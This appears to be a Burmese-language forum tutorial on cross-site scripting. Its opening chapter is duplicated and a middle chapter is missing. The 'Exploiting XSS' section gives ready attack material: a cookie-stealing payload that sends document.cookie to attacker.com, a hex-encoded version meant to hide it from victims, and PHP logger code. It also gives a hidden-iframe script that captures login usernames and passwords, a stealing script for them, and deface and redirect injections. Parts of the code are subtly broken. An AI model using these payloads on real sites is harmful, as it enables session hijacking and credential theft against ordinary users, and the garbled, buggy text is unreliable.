ကၽြန္ေတာ္နဲ႔ ကိုsoftenhackerတို႔ေပါင္းလုပ္ထားတဲ့ ဆိုက္ကိုအရင္ဖိတ္ေခၚပါတယ္ လင့္က http://www.mmityouths.wall.fm ပါ
အြန္လိုင္းမွာဟိုးေလးတေက်ာ္ေက်ာ္ျဖစ္ေနတဲ့ XSSအေၾကာင္းေလးကို mmsoကေန စုစည္းတင္ျပလိုက္ပါတယ္ဗ်ာ
XSS (Cross Site Scripting)
CHAPTER I
XSS လို႕ေခၚတဲ့ Cross Site Scripting ကိုအရင္တုန္းကေတာ့ CSS လို႕ေခၚဆိုခဲ့ ၾကပါတယ္ ဒါေပမဲ့လူေတြက Cascading Style Sheet (CSS) နဲ႕မွားယြင္းတတ္ၾကလို႕ 2002 ခုႏွစ္မွာ Steve Champeon ဆိုသူက CSS ဆိုတဲ့အေခၚအေဝၚအစား XSS လို႕ေျပာင္းလဲေခၚဆိုသတ္မွတ္ၾကဖို႕ အၾကံျပဳခဲ့ရာကစျပီး Cross Site Scripting ဆိုတဲ့ Attack ကို XSS လို႕ေျပာင္လဲေခၚဆိုခဲ့ၾကပါတယ္
XSS ဆိုတဲ့ Cross Site Scripting Attack ဟာ Web Site ေတြရဲ့လုံျခဳံေရးဆိုင္ရာအားနည္းခ်က္ (vulnerabilities) ေတြကတစင့္ Web Site ရဲ့ Structure ထဲကို Java Script ေတြကို Attacker (Hacker) ေတြက ထည့္သြင္းအသုံးျပဳႏိုင္တဲ့ Attack တစ္မ်ိဳးပါ XSS ကိုေယဘုယ် အားျဖင့္ေတာ့
Temporary XSS
Permanent XSS
ဆိုျပီး ခြဲျခားလို႕ရပါတယ္
Temporary XSS
သူကေတာ့ URL သို႕မဟုတ္ Field Based XSS ပါ
URL Based XSS ဆိုတာကေတာ့ URL Strings ေတြကတစင့္ Java Script ေတြကို Attacker ကထည့္သြင္းႏိုင္တာမ်ိဳးကိုေခၚတာပါ
ဥပမာ
http://www.target.com/page.php?result=<script>alert('xss')</script> အေပၚက ဥပမာကိုၾကည့္မယ္ဆိုရင္ တကယ္လို႕ user တစ္ေယာက္ကေဖာ္ျပပါ page ကိုမ်ား သြားခဲ့မယ္ ဆိုရင္ သူ႕ရဲ့ browser မွာ xss ဆိုတဲ့ alert တစ္ခုတက္လာမွာကိုေတြ႕ရမွာျဖစ္ပါတယ္ တကယ္တမ္းေတာ့ အဲဒါဟာ page.php မွာပါဝင္တဲ့ alert မဟုတ္ပါဘူး ဒါေပမဲ့ အဲဒီ page က vulnerable parameter ျဖစ္တဲ့ result ဆိုတာေၾကာင့္ (coding ပိုင္း မွာ filter မလုပ္ထားတာေၾကာင့္) ျဖစ္တာပါ အဲဒါေၾကာင့္ Attacker (Hacker) က URL String မွာ <script>alert('xss')</script> လို႕ထည့္သြင္းလိုက္တဲ့အခါမွာ xss ဆိုတဲ့ Alert ေပၚလာရျခင္းပဲျဖစ္ပါတယ္
Field Based XSS
Field Based XSS ဆိုတာကေတာ့ Server ကေနျပီး process လုပ္ျပီး ျပန္ျပီး display လုပ္ေပးတဲ့ field ေတြထဲမွာ Java Script ေတြကို Attacker (Hacker) ကထည့္သြင္းတာကိုေျပာတာပါ သူကလည္း URL based XSS နဲ႕ ဆင္တူပါတယ္ ဒီမွာကေတာ့ Attacker ဟာသူ႕ရဲ့ Java Script ကို Form Field ထဲမွာ ထည့္သြင္းေပးရပါတယ္
ဥပမာ
Web Site တစ္ခုမွာ Search Box ရွိျပီး သူဟာ XSS vulnerability ရွိတယ္ဆိုပါစို႕ ဆိုလိုတာက user ကရွာသမွ်ကို search result page မွာ ေဖာ္ျပေပးတာပါ အဲဒီအခါမွာ Attacker က အဲဒီ Search Box ထဲမွာ
<script>alert('xss')</script>
လို႕ ႐ိုက္ထည့္ျပီး ရွာလိုက္ရင္ xss ဆိုတဲ့ pop up box တစ္ခုတက္လာပါလိမ့္မယ္
႐ုတ္တရက္ၾကည့္လိုက္ရင္ေတာ့ အဲဒီလိုမ်ိဳး Temporary XSS ေတြဟာ ဘာ အႏၲရာယ္ မွမရွိေလာက္ဘူးလို႕ ထင္ရေပမဲ့ Attacker (Hacker) ေတြအတြက္ကေတာ့ သူတို႕ရဲ့ Defacement ကိုျပဳလုပ္ဖို႕အတြက္ ပထမဦးဆုံးေသာ ေျခလွမ္းကို စတင္ေစႏိုင္ပါတယ္
Permanent XSS (Persistent ????????? Script Injection)
ဒီအပိုင္းကအေရးၾကီးသလို အႏၲရာယ္ လည္း ၾကီးပါတယ္ သူကေတာ့ user တစ္ေယာက္႐ိုက္ထည့္လိုက္တဲ့ Data ကို Web Site ရဲ့ DataBase ထဲမွာ သိမ္းထားေပးျပီး user ကို ျပန္လည္ ျပသေပးပါတယ္
ဥပမာ
Web Site တစ္ခုမွာ Comment Box သို႕မဟုတ္ Guest Book ရွိျပီး အဲဒါဟာ XSS vulnerable ျဖစ္တယ္ဆိုၾကပါစို႕ အဲဒါကို Attacker (Hacker) က
<script>alert('xss')</script>
ဆိုျပီး ႐ိုက္ထည့္လိုက္မယ္ဆိုရင္ အထက္မွာေဖာ္ျပခဲ့သလိုပဲ အဲဒီ script ဟာ Web Site ရဲ့ DataBase ထဲမွာ သြားျပီးသိမ္းဆည္းထားပါတယ္ Attacker (Hacker) ရဲ့ အဲဒီ malicious script ဟာ အဲဒီ comment page ကို browse လုပ္တဲ့ user တိုင္းကို xss ဆိုတဲ့ popup message ကိုေဖာ္ျပေပးမွာျဖစ္ပါတယ္
ဒါေတြကေတာ့ XSS နဲ႕ပတ္သတ္တဲ့ Theoritical Concept ေတြပါ အဲဒါေတြကိုနားလည္ျပီဆိုရင္ေတာ့ ေရွ႕ဆက္လိုက္ရေအာင္
Finding XSS
XSS Vulnerability ေတြကိုရွာေဖြတဲ့အခါမွာေတာ့ Penetration Tester ေတြဟာ Hacking Life Cycle အတိုင္ တစ္ဆင့္ျပီးတစ္ဆင့္ စနစ္တက်နဲ႕ ရွာေဖြၾကပါတယ္ သူတို႕ရဲ့ရည္ရြယ္ခ်က္ကိုက Site တစ္ခုလုံးမွာရွိတဲ့ XSS Vulnerability ေတြကိုရွာျပီး fix လုပ္ဖို႕ပါ ဒါေပမဲ့ Black Hat ေတြကေတာ့ XSS Vulnerability တစ္ခုေလာက္ကိုပဲေတြ႕ေအာင္ရွာၾကပါတယ္ ဘာျဖစ္လို႕လဲဆိုေတာ့ သူတို႕ရဲ့ မူလရည္ရြယ္ခ်က္ကိုက Defacement သို႕မဟုတ္ Backdooring ဆိုတာအတြက္ပါ အဲဒါကိုေတာ့ Technical Terms အရ Offensive Computing လို႕ေခၚၾကပါတယ္ အဲဒီေနရာမွာလည္း Black Hat ေတြတစ္ေယာက္နဲ႕တစ္ေယာက္သုံးတဲ့နည္းစနစ္ခ်င္းမတူ ၾကပါဘ ူး တခ်ိဳ႕ကေတာ့ Google Dorks ေတြကိုသုံးျပီး ရွာေဖြၾကသလို တခ်ိဳ႕က်ေတာ့လည္း Scanner ေတြသုံးျပီး ရွာေဖြၾကပါတယ္ တခ်ိဳ႕က်ေတာ့လည္း manually ပဲ Targeted Site ရဲ့ page ေတြမွာလိုက္ရွာတတ္ၾကပါတယ္ အဲဒီအခါမွာ Vulnerability ေတြကိုေတြ႕ဖို႕ကေတာ့ မ်က္ေစ့ လွ်င္လွ်င္နဲ႕ parameter ေတြကိုၾကည့္ျပီး ျဖစ္ႏိုင္ေျခေတြကို စဥ္းစားတြက္ခ်က္တတ္ဖို႕ပဲလိုတာပါ မ်ားေသာအားျဖင့္ေတာ့အဲဒီ Vulnerability ေတြဟာ
Search Field
URL Bar (Address Bar)
Form Fields
Shout Box
Avatar Field
Signature
စတာေတြမွာေတြ႕ရေလ့ရွိပါတယ္
အြန္လိုင္းမွာဟိုးေလးတေက်ာ္ေက်ာ္ျဖစ္ေနတဲ့ XSSအေၾကာင္းေလးကို mmsoကေန စုစည္းတင္ျပလိုက္ပါတယ္ဗ်ာ
XSS (Cross Site Scripting)
CHAPTER I
XSS လို႕ေခၚတဲ့ Cross Site Scripting ကိုအရင္တုန္းကေတာ့ CSS လို႕ေခၚဆိုခဲ့ ၾကပါတယ္ ဒါေပမဲ့လူေတြက Cascading Style Sheet (CSS) နဲ႕မွားယြင္းတတ္ၾကလို႕ 2002 ခုႏွစ္မွာ Steve Champeon ဆိုသူက CSS ဆိုတဲ့အေခၚအေဝၚအစား XSS လို႕ေျပာင္းလဲေခၚဆိုသတ္မွတ္ၾကဖို႕ အၾကံျပဳခဲ့ရာကစျပီး Cross Site Scripting ဆိုတဲ့ Attack ကို XSS လို႕ေျပာင္လဲေခၚဆိုခဲ့ၾကပါတယ္
XSS ဆိုတဲ့ Cross Site Scripting Attack ဟာ Web Site ေတြရဲ့လုံျခဳံေရးဆိုင္ရာအားနည္းခ်က္ (vulnerabilities) ေတြကတစင့္ Web Site ရဲ့ Structure ထဲကို Java Script ေတြကို Attacker (Hacker) ေတြက ထည့္သြင္းအသုံးျပဳႏိုင္တဲ့ Attack တစ္မ်ိဳးပါ XSS ကိုေယဘုယ် အားျဖင့္ေတာ့
Temporary XSS
Permanent XSS
ဆိုျပီး ခြဲျခားလို႕ရပါတယ္
Temporary XSS
သူကေတာ့ URL သို႕မဟုတ္ Field Based XSS ပါ
URL Based XSS ဆိုတာကေတာ့ URL Strings ေတြကတစင့္ Java Script ေတြကို Attacker ကထည့္သြင္းႏိုင္တာမ်ိဳးကိုေခၚတာပါ
ဥပမာ
http://www.target.com/page.php?result=<script>alert('xss')</script> အေပၚက ဥပမာကိုၾကည့္မယ္ဆိုရင္ တကယ္လို႕ user တစ္ေယာက္ကေဖာ္ျပပါ page ကိုမ်ား သြားခဲ့မယ္ ဆိုရင္ သူ႕ရဲ့ browser မွာ xss ဆိုတဲ့ alert တစ္ခုတက္လာမွာကိုေတြ႕ရမွာျဖစ္ပါတယ္ တကယ္တမ္းေတာ့ အဲဒါဟာ page.php မွာပါဝင္တဲ့ alert မဟုတ္ပါဘူး ဒါေပမဲ့ အဲဒီ page က vulnerable parameter ျဖစ္တဲ့ result ဆိုတာေၾကာင့္ (coding ပိုင္း မွာ filter မလုပ္ထားတာေၾကာင့္) ျဖစ္တာပါ အဲဒါေၾကာင့္ Attacker (Hacker) က URL String မွာ <script>alert('xss')</script> လို႕ထည့္သြင္းလိုက္တဲ့အခါမွာ xss ဆိုတဲ့ Alert ေပၚလာရျခင္းပဲျဖစ္ပါတယ္
Field Based XSS
Field Based XSS ဆိုတာကေတာ့ Server ကေနျပီး process လုပ္ျပီး ျပန္ျပီး display လုပ္ေပးတဲ့ field ေတြထဲမွာ Java Script ေတြကို Attacker (Hacker) ကထည့္သြင္းတာကိုေျပာတာပါ သူကလည္း URL based XSS နဲ႕ ဆင္တူပါတယ္ ဒီမွာကေတာ့ Attacker ဟာသူ႕ရဲ့ Java Script ကို Form Field ထဲမွာ ထည့္သြင္းေပးရပါတယ္
ဥပမာ
Web Site တစ္ခုမွာ Search Box ရွိျပီး သူဟာ XSS vulnerability ရွိတယ္ဆိုပါစို႕ ဆိုလိုတာက user ကရွာသမွ်ကို search result page မွာ ေဖာ္ျပေပးတာပါ အဲဒီအခါမွာ Attacker က အဲဒီ Search Box ထဲမွာ
<script>alert('xss')</script>
လို႕ ႐ိုက္ထည့္ျပီး ရွာလိုက္ရင္ xss ဆိုတဲ့ pop up box တစ္ခုတက္လာပါလိမ့္မယ္
႐ုတ္တရက္ၾကည့္လိုက္ရင္ေတာ့ အဲဒီလိုမ်ိဳး Temporary XSS ေတြဟာ ဘာ အႏၲရာယ္ မွမရွိေလာက္ဘူးလို႕ ထင္ရေပမဲ့ Attacker (Hacker) ေတြအတြက္ကေတာ့ သူတို႕ရဲ့ Defacement ကိုျပဳလုပ္ဖို႕အတြက္ ပထမဦးဆုံးေသာ ေျခလွမ္းကို စတင္ေစႏိုင္ပါတယ္
Permanent XSS (Persistent ????????? Script Injection)
ဒီအပိုင္းကအေရးၾကီးသလို အႏၲရာယ္ လည္း ၾကီးပါတယ္ သူကေတာ့ user တစ္ေယာက္႐ိုက္ထည့္လိုက္တဲ့ Data ကို Web Site ရဲ့ DataBase ထဲမွာ သိမ္းထားေပးျပီး user ကို ျပန္လည္ ျပသေပးပါတယ္
ဥပမာ
Web Site တစ္ခုမွာ Comment Box သို႕မဟုတ္ Guest Book ရွိျပီး အဲဒါဟာ XSS vulnerable ျဖစ္တယ္ဆိုၾကပါစို႕ အဲဒါကို Attacker (Hacker) က
<script>alert('xss')</script>
ဆိုျပီး ႐ိုက္ထည့္လိုက္မယ္ဆိုရင္ အထက္မွာေဖာ္ျပခဲ့သလိုပဲ အဲဒီ script ဟာ Web Site ရဲ့ DataBase ထဲမွာ သြားျပီးသိမ္းဆည္းထားပါတယ္ Attacker (Hacker) ရဲ့ အဲဒီ malicious script ဟာ အဲဒီ comment page ကို browse လုပ္တဲ့ user တိုင္းကို xss ဆိုတဲ့ popup message ကိုေဖာ္ျပေပးမွာျဖစ္ပါတယ္
ဒါေတြကေတာ့ XSS နဲ႕ပတ္သတ္တဲ့ Theoritical Concept ေတြပါ အဲဒါေတြကိုနားလည္ျပီဆိုရင္ေတာ့ ေရွ႕ဆက္လိုက္ရေအာင္
Finding XSS
XSS Vulnerability ေတြကိုရွာေဖြတဲ့အခါမွာေတာ့ Penetration Tester ေတြဟာ Hacking Life Cycle အတိုင္ တစ္ဆင့္ျပီးတစ္ဆင့္ စနစ္တက်နဲ႕ ရွာေဖြၾကပါတယ္ သူတို႕ရဲ့ရည္ရြယ္ခ်က္ကိုက Site တစ္ခုလုံးမွာရွိတဲ့ XSS Vulnerability ေတြကိုရွာျပီး fix လုပ္ဖို႕ပါ ဒါေပမဲ့ Black Hat ေတြကေတာ့ XSS Vulnerability တစ္ခုေလာက္ကိုပဲေတြ႕ေအာင္ရွာၾကပါတယ္ ဘာျဖစ္လို႕လဲဆိုေတာ့ သူတို႕ရဲ့ မူလရည္ရြယ္ခ်က္ကိုက Defacement သို႕မဟုတ္ Backdooring ဆိုတာအတြက္ပါ အဲဒါကိုေတာ့ Technical Terms အရ Offensive Computing လို႕ေခၚၾကပါတယ္ အဲဒီေနရာမွာလည္း Black Hat ေတြတစ္ေယာက္နဲ႕တစ္ေယာက္သုံးတဲ့နည္းစနစ္ခ်င္းမတူ ၾကပါဘ ူး တခ်ိဳ႕ကေတာ့ Google Dorks ေတြကိုသုံးျပီး ရွာေဖြၾကသလို တခ်ိဳ႕က်ေတာ့လည္း Scanner ေတြသုံးျပီး ရွာေဖြၾကပါတယ္ တခ်ိဳ႕က်ေတာ့လည္း manually ပဲ Targeted Site ရဲ့ page ေတြမွာလိုက္ရွာတတ္ၾကပါတယ္ အဲဒီအခါမွာ Vulnerability ေတြကိုေတြ႕ဖို႕ကေတာ့ မ်က္ေစ့ လွ်င္လွ်င္နဲ႕ parameter ေတြကိုၾကည့္ျပီး ျဖစ္ႏိုင္ေျခေတြကို စဥ္းစားတြက္ခ်က္တတ္ဖို႕ပဲလိုတာပါ မ်ားေသာအားျဖင့္ေတာ့အဲဒီ Vulnerability ေတြဟာ
Search Field
URL Bar (Address Bar)
Form Fields
Shout Box
Avatar Field
Signature
စတာေတြမွာေတြ႕ရေလ့ရွိပါတယ္
CHAPTERIII
ဒီတစ္ခါေတာ့ Exploiting XSS ဆိုတာကိုေဆြးေႏြးသြားမွာျဖစ္ပါတယ္
XSS vulnerability ေတြကေနတဆင့္ attacker ေတြ ျပဳလုပ္ေလ့ရွိၾကတာကေတာ့
Cookie Stealing
Defacing
Data Stealing
Black Hat CEO
Worms and Viruses
Cookie Stealing
အဲဒါကေတာ့ XSS vulnerability ေတြကေနတဆင့္ attacker ေတြ အလုပ္ဆုံးအရာတစ္ခုပါ
user ေတြရဲ့ cookie ေတြကို hijack လုပ္မယ္ အဲဒီကေနတစ္ဆင့္ တျခား information ေတြကိုယူမယ္ စသျဖင့္ေပါ့
ဥပမာဗ်ာ
www.example.com ဆိုပါစို႕
အဲဒီ site ရဲ့ search.php မွာ XSS vulnerability ရွိတယ္ဆိုပါစို႕
အဲဒါကဒီလိုဗ်ာ
www.example.com/search.php?q= အဲဒါကို attacker က အဲဒီ site ကတစ္ျခား user တစ္ေယာက္ရဲ့ cookie ကို လိုခ်င္တယ္ဆိုပါစို႕
အဲဒါဆိုရင္ Attacker က ဒီလိုမ်ိဳးၾကိဳးပမ္းႏိုင္ပါတယ္
http://www.example.com/search.php?q= document.location = "http://attacker.com/cookielogger.php?c="+document.cookie အဲဒီမွာထည့္သြင္းထားတဲ့ document.location ဆိုတာကေတာ့
http://attacker.com/cookielogger.php? ဆိုတဲ့ document ရွိတဲ့ေနရာကိုေျပာတာပါ
အဲဒီ cookielogger.php ထဲက c ဆိုတာကေတာ့ အဲဒီ cookielogger php ထဲမွာ cookie ကို load လုပ္ဖို႕အတြက္သုံးတဲ့ get variable ပါ
document.cookie ဆိုတာကေတာ့ cookie ကို load လုပ္ဖို႕အတြက္သုံးတဲ့ javascript ပါ
http://www.example.com/search.php?q= document.location = "http://attacker.com/cookielogger.php?c="+document.cookie အဲဒီေတာ့ အေပၚကRUL String မွာထဲ့ထားတဲ့အတိုင္းဆိုရင္ http://www.example.com မွာရွိတဲ့ search.php ရဲ့ q ဆိုတဲ့ variable ကေနတဆင့္ http://attacker.com မွာရွိတဲ့ cookielogger.php ရဲ့ c ဆိုတဲ့ variable ထဲကို လက္ရွိ user ရဲ့ cookie ကဝင္ေရာက္သြားပါလိမ့္မယ္
<?php
$file = fopen("cookies.txt","a");
$cookies = $_GET['c'];
$content = "Cookies = ".$cookies."\n";
fwrite($file,$content);
fclose($file);
?> အဲဒါကေတာ့ cookie logger ရဲ့ code ပါ
အဲဒီ code အရဆိုရင္သူကရရွိလာတဲ့ cookie ေတြကို cookies.txt ဆိုတဲ့ file ထဲမွာထည့္သြင္းေပးပါလိမ့္မယ္
တစ္ကယ္လို႕ Attacker က သူ႕ရဲ့ url ကို victim ကိုေပးမသိေစခ်င္ရင္ သူဟာ url ကို encode လုပ္ျပီးေပးပို႕ပါလိမ့္မယ္
ဒါကေတာ့ဒီလိုပါ
document.location = "http://attacker.com/cookielogger.php?c="+document.cookie
ကို encode လုပ္တာပါ
အဲဒီ document.location = "http://attacker.com/cookielogger.php?c="+document.cookie ကို encode လုပ္မယ္ဆိုရင္ ေအာက္က encode လုပ္ထားတဲ့ Hex Value ကိုရရွိပါလိမ့္မယ္
%22%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%2 E%63%6F%6D%2F%63%6F%6F%6B%69%65%6C%6F%67%67%65%72% 2E%70%68%70%3F%63%3D%22%2B%64%6F%63%75%6D%65%6E%74 %2E%63%6F%6F%6B%69%65%20
ဒါဆိုရင္ URL String ဟာ ေအာက္မွာျပထားတဲ့အတိုင္းေျပာင္းလဲသြားပါလိမ့္မယ ္
http://www.example.com/search.php?q=...6F%6B%69%65%20
Defacing
XSS vulnerability ကိုသုံးျပီး Permently (သို႕မဟုတ္) Temporarily Deface လုပ္ႏိုင္ပါတယ္
ဥပမာ ေအာက္က လိုမ်ိဳး code ေတြကို embed လုပ္ျခင္းအားျဖင့္ လဲ လုပ္ႏိုင္ပါတယ္
<img src = http://www.attacker.com/defaceimg.jpg>
ဒါမွမဟုတ္ရင္ iframe နဲ႕လည္း ဒီလို လုပ္ႏိုင္ပါတယ္
<iframe src = http://www.attacker.com/defacepage.html width = “100%” height=”100%”></iframe>
အဲဒါကေတာ့ဒါမ်ိဳးပါ
ဒီမွာေတာ့ ကြၽန္ေတာ္ Temporary Defacement အေနနဲ႕ပဲဥပမာျပထားပါတယ္
http://www.example.com/search.php?q=<img src = http://www.attacker.com/deface.jpg>
Phishing
Phishing ဆိုတဲ့ေဝါဟာရကေတာ့ကြၽန္ေတာ္သိသေလာက္ေျပာရရင္ Fishing ဆိုတဲ့ေဝါဟာရကို ေခၚတာပါ အဲဒါကေတာ့ user ရဲ့ login credentials ေတြကို ကိုအတုျပဳလုပ္ျပီးရယူတာမ်ိဳးပါ
Phishing attack မွာဆိုရင္ Attacker က login page အတုတစ္ခုကိုျပဳလုပ္ျပီး အဲဒီ link ကို victim ဆီကိုပို႕ေပးပါတယ္ victim က အဲဒီ fake login page မွာ login လုပ္လိုက္တာနဲ႕ Attacker က victim ရဲ့ login credentials ေတြကို ရရွိပါလိမ့္မယ္
အဲဒါကို Attacker က javascript ကေနတဆင့္ login credential ေတြကိုဘယ္လို capture လုပ္ႏိုင္မလဲဆိုတာကိုၾကည့္လိုက္ၾကရေအာင္
ဥပမာ login form တစ္ခုက ဒီလိုရွိတယ္ဆိုပါစို႕
<form action=”login.php” method = “POST” name=”login”>
Username : <input type = "text" name ="username"></br>
Password : <input type = "password" name= "password"></br>
<input type="submit" name="submit" value="Login">
</form> အဲဒါဆိုရင္ login credentials ေတြဟာ login.php ဆီကို POST method နဲ႕ပို႕ေပးပါလိမ့္မယ္
ဟုတ္ျပီဒါဆိုရင္ Attacker ဟာ victim ဆီကို login credentials ေတြကိုရယူဖို႕အတြက္ ေအာက္မွာျပထားတဲ့အတိုင္းၾကိဳးစားႏိုင္ပါတယ္
http://www.example.com/index.php?q=<script src= "http://www.attacker.com/fake.js"></script>
အဲဒီက fake.js ဆိုတာကေတာ့ user login ကို capture လုပ္ဖို႕အတြက္ attacker ကသုံးထားတဲ့ malicious script ပါ အဲဒါကိုမွ victim အေနနဲ႕သံသယမရွိေစခ်င္ရင္ေတာ့ Attacker ဟာ ခုနကကြၽန္ေတာ္ေျပာခဲ့သလိုမ်ိဳး encode လုပ္ပါလိမ့္မယ္
အဲဒီ fake.js ရဲ့ source code ကို ကြၽန္ေတာ္ေအာက္မွာျပထားပါတယ္
var iframe = document.createElement("iframe");
//hide the iframe
iframe.style.display = "none";
// load your login stealer script
iframe.src = "http://attacker.com/steal.php?username="
+ document.form[“login”].username.value + "&password=" + document.form[“login”].password.value;
// add iframe to websites body
document.body.appendChild(iframe);
}
// record logins when user press submit button
document.form[“login”].onsubmit = steal(); ေအာက္မွာျပထားတာကေတာ့ steal.php ရဲ့ code ပါ
<?php
if(isset($_GET['user']) && isset($_GET['pass']))
{
$file = fopen($steal.txt, "a");
$login = "Username: ". $_GET['username'] ." and Password: ". $_GET['password'] . "\n";
fwrite($file, $login);
fclose($file);
}
?> အဲဒီအတိုင္းဆိုရင္ တကယ္လို႕မ်ား victim ဟာ အဲဒီ ကေနတဆင့္ login လုပ္လိုက္မယ္ဆိုရင္ fake.js ဟာ login credentials ေတြကို steal.php ဆီကိုပို႕ေပးပါလိမ့္မယ္ အဲဒီအခါမွာ steal.php ဟာ ပို႕ေပးလိုက္တဲ့ login credentials ေတြကို steal.txt ဆိုတဲ့ file ထဲမွာ သြားျပီး record လုပ္ေပးပါလိမ့္မယ္
Data Stealing
အဲဒါကေတာ့ အသုံးနည္းပါတယ္အဲဒါေၾကာင့္မို႕ ကြၽန္ေတာ္လည္းမေဆြးေႏြးေတာ့ပါဘူး
Black Hat SEO
ဒါကေတာ့ Webmaster ေတြ အတြက္ေရာ Attacker ေတြအတြက္ေရာအေရးၾကီးပါတယ္
ဥပမာ Attacker က
http://www.example.com/search.php?q=
ဆိုတဲ့ vulnerable ကေနတဆင့္ တျခား site တစ္ခုကို redirect လုပ္လိုက္ႏိုင္ပါတယ္
(ေအာက္မွာျပထားပါတယ္)
http://www.example.com/search.php?q= <script>document.location( "http://www.attacker.com.com" )</script>
အဲဒါကေတာ့ search quries ေတြကေနတဆင့္ better page ranking ကိုရရွိေစပါတယ္
Worms and Viruses
အဲဒီအပိုင္းကေတာ့အရမ္းက်ယ္ျပန္႕လြန္းျပီး XSS ရဲ့ေနာက္ထပ္ generation လို႕ေတာင္ေခၚႏိုင္ပါတယ္
အဲဒါကိုသိခ်င္ရင္ေတာ့ Self Study လုပ္တာပိုေကာင္းပါလိမ့္မယ္